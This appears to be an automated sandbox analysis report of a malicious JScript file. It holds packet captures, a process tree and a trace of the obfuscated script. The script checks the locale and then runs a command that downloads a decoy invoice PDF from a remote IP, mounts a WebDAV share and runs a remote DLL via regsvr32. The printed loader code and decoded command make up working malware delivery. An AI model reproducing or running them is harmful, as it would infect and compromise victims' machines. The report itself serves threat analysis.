Jan 10, 2025 22:23:43.863892078 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 22:23:43.863903046 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 22:23:43.863909960 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 10, 2025 22:23:43.863953114 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 22:23:43.864042997 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 22:23:43.864061117 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 22:23:43.864073992 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 22:23:43.864087105 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 22:23:43.864099026 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 22:23:43.868977070 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49707	193.143.1.205	8888	8160	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:23:45.679857969 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 22:23:46.498127937 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:23:46 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	16:23:38
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3039412363370818030.js"
Imagebase:	0x7ff76f100000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:23:39
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll
Imagebase:	0x7ff64bb00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:23:39
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:23:39
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:23:44
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	16:23:44
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff64bb00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:23:44
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff728d30000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:23:45
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	16:23:45
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:23:45
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1804 --field-trial-handle=1664,i,16883546967039333588,5017798054370156047,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function rsozhpkn() {	rsozhpkn() ➔ undefined
1	oixfy = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var bzsjwpjga = this[enmvlurh + fkobp + kpwcd + gidiymu + ldtkiusz + cdndy + cbrtxd + fbcaj] ( this[jywqympc + qmaemu + xpxjbnh + kpwcd + ypmnkty + enmvlurh + fbcaj][hyysyni + kpwcd + ldtkiusz + fkobp + fbcaj + ldtkiusz + afhkg + hdjutwnx + ueqpqsnc + ldtkiusz + xpxjbnh + fbcaj] ( jywqympc + qmaemu + xpxjbnh + kpwcd + ypmnkty + enmvlurh + fbcaj + ajrvhid + qmaemu + ujonth + ldtkiusz + bsgud + bsgud ) [ewupjshd + ldtkiusz + pjyfjg + ewupjshd + ldtkiusz + fkobp + vvlwlzjqe] ( yhgoyvr + ibvpk + piiksmm + lzenzzcjq + rzngdjloj + hyysyni + ahqujrbz + ewupjshd + ewupjshd + piiksmm + vrgayof + mmotr + rzngdjloj + ahqujrbz + qmaemu + piiksmm + ewupjshd + eduwgn + hyysyni + ftgroxorh + cbrtxd + fbcaj + kpwcd + ftgroxorh + bsgud + dnctezase + afggrn + fkobp + cbrtxd + ldtkiusz + bsgud + eduwgn + cdndy + cbrtxd + fbcaj + ldtkiusz + kpwcd + cbrtxd + fkobp + fbcaj + ypmnkty + ftgroxorh + cbrtxd + fkobp + bsgud + eduwgn + hqjxryzmt + ftgroxorh + xpxjbnh + fkobp + bsgud + ldtkiusz ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( gqbuodl = 0 ; gqbuodl < oixfy[bsgud + ldtkiusz + cbrtxd + pjyfjg + fbcaj + ujonth] ; ++ gqbuodl )
4	{
5	if ( bzsjwpjga == oixfy[gqbuodl] )
6	{
7	bzsjwpjga = true;
8	break ;
9	}
10	}
11	if ( bzsjwpjga !== true )
12	this[jywqympc + qmaemu + xpxjbnh + kpwcd + ypmnkty + enmvlurh + fbcaj][aoqgj + nbwgvvea + ypmnkty + fbcaj] ( );
13	this[jywqympc + qmaemu + xpxjbnh + kpwcd + ypmnkty + enmvlurh + fbcaj][hyysyni + kpwcd + ldtkiusz + fkobp + fbcaj + ldtkiusz + afhkg + hdjutwnx + ueqpqsnc + ldtkiusz + xpxjbnh + fbcaj] ( jywqympc + qmaemu + xpxjbnh + kpwcd + ypmnkty + enmvlurh + fbcaj + ajrvhid + qmaemu + ujonth + ldtkiusz + bsgud + bsgud ) [kpwcd + nbwgvvea + cbrtxd] ( xpxjbnh + tqmatnqyg + vvlwlzjqe + dnctezase + rctvxr + xpxjbnh + dnctezase + enmvlurh + ftgroxorh + pnqgregpw + ldtkiusz + kpwcd + gidiymu + ujonth + ldtkiusz + bsgud + bsgud + ajrvhid + ldtkiusz + pbnzvdnbd + ldtkiusz + dnctezase + txoql + hyysyni + ftgroxorh + tqmatnqyg + tqmatnqyg + fkobp + cbrtxd + vvlwlzjqe + dnctezase + efdjs + cdndy + cbrtxd + rrbulmm + ftgroxorh + wpzidvmao + ldtkiusz + txoql + jywqympc + ldtkiusz + hdjutwnx + ewupjshd + ldtkiusz + vbspbemi + nbwgvvea + ldtkiusz + gidiymu + fbcaj + dnctezase + txoql + afhkg + nbwgvvea + fbcaj + kpmfhu + ypmnkty + bsgud + ldtkiusz + dnctezase + ptdcto + fbcaj + ldtkiusz + tqmatnqyg + enmvlurh + ptdcto + eduwgn + ypmnkty + cbrtxd + rrbulmm + ftgroxorh + ypmnkty + xpxjbnh + ldtkiusz + ajrvhid + enmvlurh + vvlwlzjqe + zgzrjqbf + dnctezase + ujonth + fbcaj + fbcaj + enmvlurh + mgmfhbznp + rctvxr + rctvxr + ktiovt + jqcljnjqq + srlbybq + ajrvhid + ktiovt + adxmxfp + srlbybq + ajrvhid + ktiovt + ajrvhid + eqqjruydo + goytzizhs + cjbgwd + rctvxr + ypmnkty + cbrtxd + rrbulmm + ftgroxorh + ypmnkty + xpxjbnh + ldtkiusz + ajrvhid + enmvlurh + ujonth + enmvlurh + efdjs + iuckb + iuckb + gidiymu + fbcaj + fkobp + kpwcd + fbcaj + dnctezase + ptdcto + fbcaj + ldtkiusz + tqmatnqyg + enmvlurh + ptdcto + eduwgn + ypmnkty + cbrtxd + rrbulmm + ftgroxorh + ypmnkty + xpxjbnh + ldtkiusz + ajrvhid + enmvlurh + vvlwlzjqe + zgzrjqbf + iuckb + iuckb + xpxjbnh + tqmatnqyg + vvlwlzjqe + dnctezase + rctvxr + xpxjbnh + dnctezase + cbrtxd + ldtkiusz + fbcaj + dnctezase + nbwgvvea + gidiymu + ldtkiusz + dnctezase + eduwgn + eduwgn + ktiovt + jqcljnjqq + srlbybq + ajrvhid + ktiovt + adxmxfp + srlbybq + ajrvhid + ktiovt + ajrvhid + eqqjruydo + goytzizhs + cjbgwd + vpieb + jblwcb + jblwcb + jblwcb + jblwcb + eduwgn + vvlwlzjqe + fkobp + rrbulmm + pnqgregpw + pnqgregpw + pnqgregpw + kpwcd + ftgroxorh + ftgroxorh + fbcaj + eduwgn + iuckb + iuckb + xpxjbnh + tqmatnqyg + vvlwlzjqe + dnctezase + rctvxr + xpxjbnh + dnctezase + kpwcd + ldtkiusz + pjyfjg + gidiymu + rrbulmm + kpwcd + srlbybq + eqqjruydo + dnctezase + rctvxr + gidiymu + dnctezase + eduwgn + eduwgn + ktiovt + jqcljnjqq + srlbybq + ajrvhid + ktiovt + adxmxfp + srlbybq + ajrvhid + ktiovt + ajrvhid + eqqjruydo + goytzizhs + cjbgwd + vpieb + jblwcb + jblwcb + jblwcb + jblwcb + eduwgn + vvlwlzjqe + fkobp + rrbulmm + pnqgregpw + pnqgregpw + pnqgregpw + kpwcd + ftgroxorh + ftgroxorh + fbcaj + eduwgn + eqqjruydo + jblwcb + goytzizhs + hgnkv + goytzizhs + ktiovt + ktiovt + ioiwhbdvm + goytzizhs + eqqjruydo + eqqjruydo + jblwcb + goytzizhs + jblwcb + srlbybq + ajrvhid + vvlwlzjqe + bsgud + bsgud, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll",0,false) ➔ 0
14	}
15	mmotr = "Y";
16	mmotr = "R";
17	mmotr = "V";
18	mmotr = "i";
19	mmotr = "E";
20	mmotr = "W";
21	mmotr = "J";
22	mmotr = "W";
23	mmotr = "E";
24	mmotr = "P";
25	mmotr = "U";
26	mmotr = "Y";
27	mmotr = "g";
28	mmotr = "z";
29	mmotr = "f";
30	mmotr = "B";
31	mmotr = "v";
32	mmotr = "c";
33	mmotr = "e";
34	mmotr = "o";
35	mmotr = "f";
36	mmotr = "p";
37	mmotr = "M";
38	mmotr = "G";
39	mmotr = "C";
40	mmotr = "m";
41	mmotr = "q";
42	mmotr = "l";
43	mmotr = "s";
44	mmotr = "w";
45	mmotr = "R";
46	mmotr = "T";
47	enmvlurh = "a";
48	enmvlurh = "s";
49	enmvlurh = "S";
50	enmvlurh = "h";
51	enmvlurh = "v";
52	enmvlurh = "E";
53	enmvlurh = "r";
54	enmvlurh = "t";
55	enmvlurh = "K";
56	enmvlurh = "h";
57	enmvlurh = "V";
58	enmvlurh = "z";
59	enmvlurh = "T";
60	enmvlurh = "g";
61	enmvlurh = "f";
62	enmvlurh = "C";
63	enmvlurh = "B";
64	enmvlurh = "g";
65	enmvlurh = "G";
66	enmvlurh = "p";
67	enmvlurh = "K";
68	enmvlurh = "O";
69	enmvlurh = "X";
70	enmvlurh = "H";
71	enmvlurh = "v";
72	enmvlurh = "D";
73	enmvlurh = "F";
74	enmvlurh = "C";
75	enmvlurh = "W";
76	enmvlurh = "A";
77	enmvlurh = "y";
78	enmvlurh = "V";
79	enmvlurh = "K";
80	enmvlurh = "C";
81	enmvlurh = "Y";
82	enmvlurh = "p";
83	afggrn = "G";
84	afggrn = "f";
85	afggrn = "B";
86	afggrn = "T";
87	afggrn = "h";
88	afggrn = "b";
89	afggrn = "x";
90	afggrn = "E";
91	afggrn = "A";
92	afggrn = "P";
93	goytzizhs = "i";
94	goytzizhs = "I";
95	goytzizhs = "V";
96	goytzizhs = "0";
97	dnctezase = "u";
98	dnctezase = "I";
99	dnctezase = "E";
100	dnctezase = "K";
101	dnctezase = "w";
102	dnctezase = "f";
103	dnctezase = "n";
104	dnctezase = "P";
105	dnctezase = "N";
106	dnctezase = "K";
107	dnctezase = "k";
108	dnctezase = "z";
109	dnctezase = "u";
110	dnctezase = "X";
111	dnctezase = "R";
112	dnctezase = "J";
113	dnctezase = "V";
114	dnctezase = "i";
115	dnctezase = "Z";
116	dnctezase = "v";
117	dnctezase = "e";
118	dnctezase = "D";
119	dnctezase = "h";
120	dnctezase = "t";
121	dnctezase = " ";
122	iuckb = "A";
123	iuckb = "S";
124	iuckb = "v";
125	iuckb = "T";
126	iuckb = "R";
127	iuckb = "m";
128	iuckb = "u";
129	iuckb = "Q";
130	iuckb = "A";
131	iuckb = "w";
132	iuckb = "T";
133	iuckb = "O";
134	iuckb = "Z";
135	iuckb = "h";
136	iuckb = "C";
137	iuckb = "X";
138	iuckb = "O";
139	iuckb = "Y";
140	iuckb = "g";
141	iuckb = "j";
142	iuckb = "l";
143	iuckb = "Z";
144	iuckb = "&";
145	eqqjruydo = "w";
146	eqqjruydo = "V";
147	eqqjruydo = "e";
148	eqqjruydo = "A";
149	eqqjruydo = "H";
150	eqqjruydo = "j";
151	eqqjruydo = "O";
152	eqqjruydo = "F";
153	eqqjruydo = "u";
154	eqqjruydo = "a";
155	eqqjruydo = "J";
156	eqqjruydo = "u";
157	eqqjruydo = "v";
158	eqqjruydo = "R";
159	eqqjruydo = "m";
160	eqqjruydo = "i";
161	eqqjruydo = "J";
162	eqqjruydo = "2";
163	ewupjshd = "o";
164	ewupjshd = "I";
165	ewupjshd = "b";
166	ewupjshd = "J";
167	ewupjshd = "b";
168	ewupjshd = "B";
169	ewupjshd = "L";
170	ewupjshd = "p";
171	ewupjshd = "b";
172	ewupjshd = "k";
173	ewupjshd = "m";
174	ewupjshd = "t";
175	ewupjshd = "f";
176	ewupjshd = "Q";
177	ewupjshd = "o";
178	ewupjshd = "C";
179	ewupjshd = "G";
180	ewupjshd = "g";
181	ewupjshd = "o";
182	ewupjshd = "B";
183	ewupjshd = "a";
184	ewupjshd = "S";
185	ewupjshd = "N";
186	ewupjshd = "p";
187	ewupjshd = "G";
188	ewupjshd = "L";
189	ewupjshd = "k";
190	ewupjshd = "c";
191	ewupjshd = "W";
192	ewupjshd = "a";
193	ewupjshd = "O";
194	ewupjshd = "x";
195	ewupjshd = "r";
196	ewupjshd = "d";
197	ewupjshd = "R";
198	lzenzzcjq = "t";
199	lzenzzcjq = "h";
200	lzenzzcjq = "E";
201	lzenzzcjq = "V";
202	lzenzzcjq = "f";
203	lzenzzcjq = "N";
204	lzenzzcjq = "Y";
205	ueqpqsnc = "u";
206	ueqpqsnc = "b";
207	ueqpqsnc = "A";
208	ueqpqsnc = "y";
209	ueqpqsnc = "B";
210	ueqpqsnc = "H";
211	ueqpqsnc = "g";
212	ueqpqsnc = "W";
213	ueqpqsnc = "Y";
214	ueqpqsnc = "f";
215	ueqpqsnc = "r";
216	ueqpqsnc = "L";
217	ueqpqsnc = "W";
218	ueqpqsnc = "T";
219	ueqpqsnc = "K";
220	ueqpqsnc = "Y";
221	ueqpqsnc = "f";
222	ueqpqsnc = "c";
223	ueqpqsnc = "n";
224	ueqpqsnc = "C";
225	ueqpqsnc = "n";
226	ueqpqsnc = "a";
227	ueqpqsnc = "e";
228	ueqpqsnc = "N";
229	ueqpqsnc = "J";
230	ueqpqsnc = "N";
231	ueqpqsnc = "Q";
232	ueqpqsnc = "s";
233	ueqpqsnc = "C";
234	ueqpqsnc = "w";
235	ueqpqsnc = "t";
236	ueqpqsnc = "j";
237	hdjutwnx = "y";
238	hdjutwnx = "s";
239	hdjutwnx = "p";
240	hdjutwnx = "s";
241	hdjutwnx = "L";
242	hdjutwnx = "m";
243	hdjutwnx = "p";
244	hdjutwnx = "u";
245	hdjutwnx = "q";
246	hdjutwnx = "h";
247	hdjutwnx = "y";
248	hdjutwnx = "L";
249	hdjutwnx = "M";
250	hdjutwnx = "M";
251	hdjutwnx = "A";
252	hdjutwnx = "c";
253	hdjutwnx = "k";
254	hdjutwnx = "v";
255	hdjutwnx = "o";
256	hdjutwnx = "r";
257	hdjutwnx = "R";
258	hdjutwnx = "h";
259	hdjutwnx = "s";
260	hdjutwnx = "L";
261	hdjutwnx = "Y";
262	hdjutwnx = "l";
263	hdjutwnx = "P";
264	hdjutwnx = "F";
265	hdjutwnx = "Q";
266	hdjutwnx = "q";
267	hdjutwnx = "A";
268	hdjutwnx = "X";
269	hdjutwnx = "R";
270	hdjutwnx = "Z";
271	hdjutwnx = "b";
272	hdjutwnx = "I";
273	hdjutwnx = "M";
274	hdjutwnx = "t";
275	hdjutwnx = "S";
276	hdjutwnx = "b";
277	vrgayof = "V";
278	vrgayof = "y";
279	vrgayof = "b";
280	vrgayof = "y";
281	vrgayof = "r";
282	vrgayof = "v";
283	vrgayof = "h";
284	vrgayof = "j";
285	vrgayof = "I";
286	vrgayof = "T";
287	vrgayof = "d";
288	vrgayof = "Q";
289	vrgayof = "q";
290	vrgayof = "C";
291	vrgayof = "E";
292	vrgayof = "p";
293	vrgayof = "d";
294	vrgayof = "U";
295	vrgayof = "s";
296	vrgayof = "k";
297	vrgayof = "l";
298	vrgayof = "t";
299	vrgayof = "w";
300	vrgayof = "f";
301	vrgayof = "j";
302	vrgayof = "o";
303	vrgayof = "w";
304	vrgayof = "y";
305	vrgayof = "x";
306	vrgayof = "A";
307	vrgayof = "N";
308	vrgayof = "N";
309	rzngdjloj = "u";
310	rzngdjloj = "o";
311	rzngdjloj = "t";
312	rzngdjloj = "Z";
313	rzngdjloj = "K";
314	rzngdjloj = "D";
315	rzngdjloj = "p";
316	rzngdjloj = "z";
317	rzngdjloj = "a";
318	rzngdjloj = "C";
319	rzngdjloj = "K";
320	rzngdjloj = "g";
321	rzngdjloj = "Y";
322	rzngdjloj = "j";
323	rzngdjloj = "q";
324	rzngdjloj = "W";
325	rzngdjloj = "Z";
326	rzngdjloj = "o";
327	rzngdjloj = "W";
328	rzngdjloj = "Y";
329	rzngdjloj = "B";
330	rzngdjloj = "y";
331	rzngdjloj = "x";
332	rzngdjloj = "S";
333	rzngdjloj = "S";
334	rzngdjloj = "y";
335	rzngdjloj = "l";
336	rzngdjloj = "_";
337	afhkg = "F";
338	afhkg = "x";
339	afhkg = "V";
340	afhkg = "Q";
341	afhkg = "o";
342	afhkg = "k";
343	afhkg = "l";
344	afhkg = "g";
345	afhkg = "n";
346	afhkg = "k";
347	afhkg = "e";
348	afhkg = "l";
349	afhkg = "K";
350	afhkg = "z";
351	afhkg = "Z";
352	afhkg = "j";
353	afhkg = "t";
354	afhkg = "L";
355	afhkg = "l";
356	afhkg = "E";
357	afhkg = "F";
358	afhkg = "z";
359	afhkg = "X";
360	afhkg = "O";
361	pnqgregpw = "i";
362	pnqgregpw = "S";
363	pnqgregpw = "p";
364	pnqgregpw = "B";
365	pnqgregpw = "P";
366	pnqgregpw = "P";
367	pnqgregpw = "y";
368	pnqgregpw = "w";
369	tqmatnqyg = "s";
370	tqmatnqyg = "q";
371	tqmatnqyg = "R";
372	tqmatnqyg = "B";
373	tqmatnqyg = "j";
374	tqmatnqyg = "J";
375	tqmatnqyg = "a";
376	tqmatnqyg = "O";
377	tqmatnqyg = "h";
378	tqmatnqyg = "z";
379	tqmatnqyg = "X";
380	tqmatnqyg = "n";
381	tqmatnqyg = "g";
382	tqmatnqyg = "s";
383	tqmatnqyg = "n";
384	tqmatnqyg = "f";
385	tqmatnqyg = "e";
386	tqmatnqyg = "m";
387	ypmnkty = "q";
388	ypmnkty = "f";
389	ypmnkty = "l";
390	ypmnkty = "h";
391	ypmnkty = "I";
392	ypmnkty = "q";
393	ypmnkty = "R";
394	ypmnkty = "d";
395	ypmnkty = "K";
396	ypmnkty = "L";
397	ypmnkty = "W";
398	ypmnkty = "d";
399	ypmnkty = "T";
400	ypmnkty = "i";
401	hyysyni = "N";
402	hyysyni = "n";
403	hyysyni = "O";
404	hyysyni = "c";
405	hyysyni = "A";
406	hyysyni = "R";
407	hyysyni = "r";
408	hyysyni = "T";
409	hyysyni = "B";
410	hyysyni = "t";
411	hyysyni = "Q";
412	hyysyni = "C";
413	ktiovt = "r";
414	ktiovt = "P";
415	ktiovt = "m";
416	ktiovt = "z";
417	ktiovt = "K";
418	ktiovt = "a";
419	ktiovt = "g";
420	ktiovt = "y";
421	ktiovt = "X";
